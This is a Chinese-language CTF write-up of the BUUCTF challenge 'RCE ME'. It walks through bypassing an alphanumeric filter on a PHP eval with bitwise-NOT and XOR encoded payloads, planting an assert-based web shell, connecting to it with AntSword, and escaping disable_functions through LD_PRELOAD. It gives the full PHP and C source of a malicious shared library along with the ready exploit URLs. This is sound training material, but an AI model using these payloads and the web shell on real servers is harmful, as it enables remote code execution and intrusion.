[极客大挑战 2019]RCE ME

原创

yym68686 于 2021-08-11 16:57:35 发布 26 收藏

分类专栏： CTF 文章标签： 安全 php BUUCTF CTF

[极客大挑战 2019]RCE ME

打开网页，发现源代码：

```php
<?php
error_reporting(0); // 关闭所有PHP错误报告
if(isset($_GET['code'])){
 $code=$_GET['code'];
  if(strlen($code)>40){
   die("This is too Long.");
  }
  if(preg_match("/[A-Za-z0-9]+/",$code)){
   die("NO.");
  }
  @eval($code); //如果有错误就隐藏错误
}
else{
 highlight_file(__FILE__);
}

// ?>
```

PHP手册：

> eval
> (PHP 4, PHP 5, PHP 7, PHP 8)
> eval — 把字符串作为PHP代码执行

阅读源码，首先`code`值的长度不能超过40，`code`也不能包含数字与字母，考虑取反绕过，首先构造`payload`，查看PHP版本以及禁用函数：

```php
<?php
echo urlencode(~'phpinfo');
?>
```

或者命令行运行 `php -r "echo urlencode(~'phpinfo');"`

运行结果：`%8F%97%8F%96%91%99%90`，然后输入url：

```
?code=(~%8F%97%8F%96%91%99%90)();
```

成功查看`phpinfo`，注意到`disable_functions`存在大量禁用的系统函数。

看到`eval`命令执行PHP代码，想到可以通过木马用蚁剑连接，所以尝试构造木马用蚁剑连接网站：

```
<?php
echo urlencode(~'assert');
echo "\n";
echo urlencode(~'(eval($_POST[cmd]))');
?>
```

PHP手册

> assert
> (PHP 4, PHP 5, PHP 7, PHP 8)
> assert — 检查一个断言是否为 false，如果参数是字符串，它将会被 assert() 当做 PHP 代码来执行。

运行结果：

```
%9E%8C%8C%9A%8D%8B
%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6
```

输入url：

```
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);
```

利用蚁剑空白区域右击添加数据，设置如下：

```
URL地址  http://173fe301-469d-4513-a8d6-735982ba516c.node4.buuoj.cn/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93
%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);
连接密码  cmd
网站备注
编码设置  UTF8
连接类型  PHP
```

其他不变。密码可以随便设置，但要跟`$_POST["cmd"]`一致。

在根目录下发现`readflag`。右击在菜单中打开虚拟终端，发现这个终端有很多命令都不能执行，所以我们需要绕过`disable_functions`。一般来说使用了`disable_functions`，终端基本上什么命令都不能执行。通常来说，导致 webshell 不能执行命令的原因大概有三类：

1. `php.ini` 中用 `disable_functions` 指示器禁用了 `system()`、`exec()` 等等这类命令执行的相关函数。
2. `web` 进程运行在 `rbash` 这类受限 `shell` 环境中
3. `WAF` 拦劫。

若是一，则无法执行任何命令，若是二、三，则可以执行少量命令。从当前现象来看，很可能由`disable_functions`所致。事实证明，利用前面的`RCE`漏洞执行`phpinfo()`，确认的确如此，`system`、`exec`、`shell_exec`都被禁止了。所以我们的思路现在就很清晰：

1. bypass open basedir 通过某种方法打开根目录，已完成。
2. bypass disable functions 通过某种方法绕过`disable_functions`
3. execute readflag 完成步骤二后，就可以直接执行`/readflag`。

有四种绕过`disable_functions`的手法：

1. 攻击后端组件，寻找存在命令注入的、web 应用常用的后端组件，如，`ImageMagick` 的魔图漏洞、`bash` 的破壳漏洞；
2. 寻找未禁用的漏网函数，常见的执行命令的函数有 `system()`、`exec()`、`shell_exec()`、`passthru()`，偏僻的 `popen()`、`proc_open()`、`pcntl_exec()`，逐一尝试，或许有漏网之鱼；
3. `mod_cgi` 模式，尝试修改 `.htaccess`，调整请求访问路由，绕过`php.ini`中的任何限制；
4. 利用环境变量`LD_PRELOAD`劫持系统函数，让外部程序加载恶意`*.so`，达到执行系统命令的效果。本题只有这一种方法有用。

References

无需sendmail：巧用LD_PRELOAD突破disable_functions - FreeBuf网络安全行业门户

方法一 利用蚁剑插件绕过`disable_functions`

可以右键网址列表打开插件市场，安装`as_bypass_php_disable_functions`插件，也可以在目录`antSword\antData\plugins`下用`cmd`运行命令来安装插件，两种方法都可以：

```
git clone https://github.com/Medicean/as_bypass_php_disable_functions.git
```

安装插件完成后，在网址列表右击我们的url，选择加载`绕过disable_functions`插件。选择`PHP7_GC_UAF`模式，点击开始。然后在网站终端里运行`/readflag`，得到flag。

References

蚁剑AntSword命令执行增强：Bypass Disable Functions

bypass disable_function的方法及蚁剑插件bypass-php-function使用

方法二 利用LD_preload环境变量，劫持共享对象库

LD_preload定义：

> LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (libc.so) This is called preloading a library.

即`LD_PRELOAD`这个环境变量指定路径的文件，会在其他文件被调用前，最先被调用。

`LD_PRELOAD`漏洞利用思路如下：利用漏洞控制 web 启动新进程 a.bin（即便进程名无法让我随意指定），a.bin 内部调用系统函数 b()，b() 位于系统共享对象 c.so 中，所以系统为该进程加载共 c.so，我想法在 c.so 前优先加载可控的 c_evil.so，c_evil.so 内含与 b() 同名的恶意函数，由于 c_evil.so 优先级较高，所以，a.bin 将调用到 c_evil.so 内 b() 而非系统的 c.so 内 b()，同时，c_evil.so 可控，达到执行恶意代码的目的。基于这一思路，将突破 disable_functions 限制执行操作系统命令这一目标，大致分解成几步：

- 查看进程调用系统函数明细
- 操作系统环境下劫持系统函数注入代码
- 找寻内部启动新进程的 PHP 函数
- PHP 环境下劫持系统函数注入代码。

在`/var/tmp/`目录存在上传权限，在`/var/tmp`目录下上传两个文件`bypass_disablefunc.php`和`bypass_disablefunc_x64.so`。

References

文件自取：

GitHub - yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD: bypass disable_functions via LD_PRELOA (no need /usr/sbin/sendmail)

`bypass_disablefunc.php` 源码：

```php
<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

    putenv("EVIL_CMDLINE=" . $evil_cmdline); //设置EVIL_CMDLINE环境变量

    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path); //加载恶意动态库

    mail("", "", "", ""); //利用mail函数触发恶意函数，跳转至__attribute__ ((__constructor__))修饰的函数。

    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";

    unlink($out_path);
?>
```

查阅PHP手册：

> nl2br
> (PHP 4, PHP 5, PHP 7, PHP 8)
> nl2br — 在字符串所有新行之前插入 HTML 换行标记，在字符串所有新行之前插入 ‘
> ’ 或 ‘
> ’，并返回。

`bypass_disablefunc_x64.so` 源码：

```c
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

extern char** environ; //获取环境变量

__attribute__ ((__constructor__)) void preload (void)
{

    const char* cmdline = getenv("EVIL_CMDLINE");
    //获取EVIL_CMDLINE的值
    int i;
    //从环境变量中遍历“LD_PRELOAD”的位置，并将其值设为NULL。
    //从而使下面的system()正常执行。
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }

    // 执行命令
    system(cmdline);
}
```

运行命令行：

```
gcc -shared -fPIC bypass.c -o bypass_disablefunc_x64.so
```

> fPIC 作用于编译阶段，告诉编译器产生与位置无关代码(Position-Independent Code)， 则产生的代码中，没有绝对地址，全部使用相对地址，故而代码可以被加载器加载到内存的任意 位置，都可以正确的执行。这正是共享库所要求的，共享库被加载时，在内存的位置不是固定的

References

bypass_disable_functions

理清了上传的两个文件的源代码，就可以很清晰地构造payload了，因此我们应该在浏览器输入url：

```
/?code=assert(include("/var/tmp/bypass_disablefunc.php"));&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so
```

但直接执行肯定不行，所以修改为以下url：

```
/?code=${_GET}[_](${_GET}[__]);&_=assert&__=include("/var/tmp/bypass_disablefunc.php")&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so
```

但这样还是不行，需要考虑绕过字母数字的限制。两种方法绕过：

异或绕过：

```
/?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include("/var/tmp/bypass_disablefunc.php")&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so
```

取反绕过：

```
/?code=${~%A0%B8%BA%AB}[_](${~%A0%B8%BA%AB}[__]);&_=assert&__=include("/var/tmp/bypass_disablefunc.php")&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so
```

输入以上任意一种url，即可得到flag。

References

动态函数库：

Linux共享库、静态库、动态库详解

无需sendmail：巧用LD_PRELOAD突破disable_functions - FreeBuf网络安全行业门户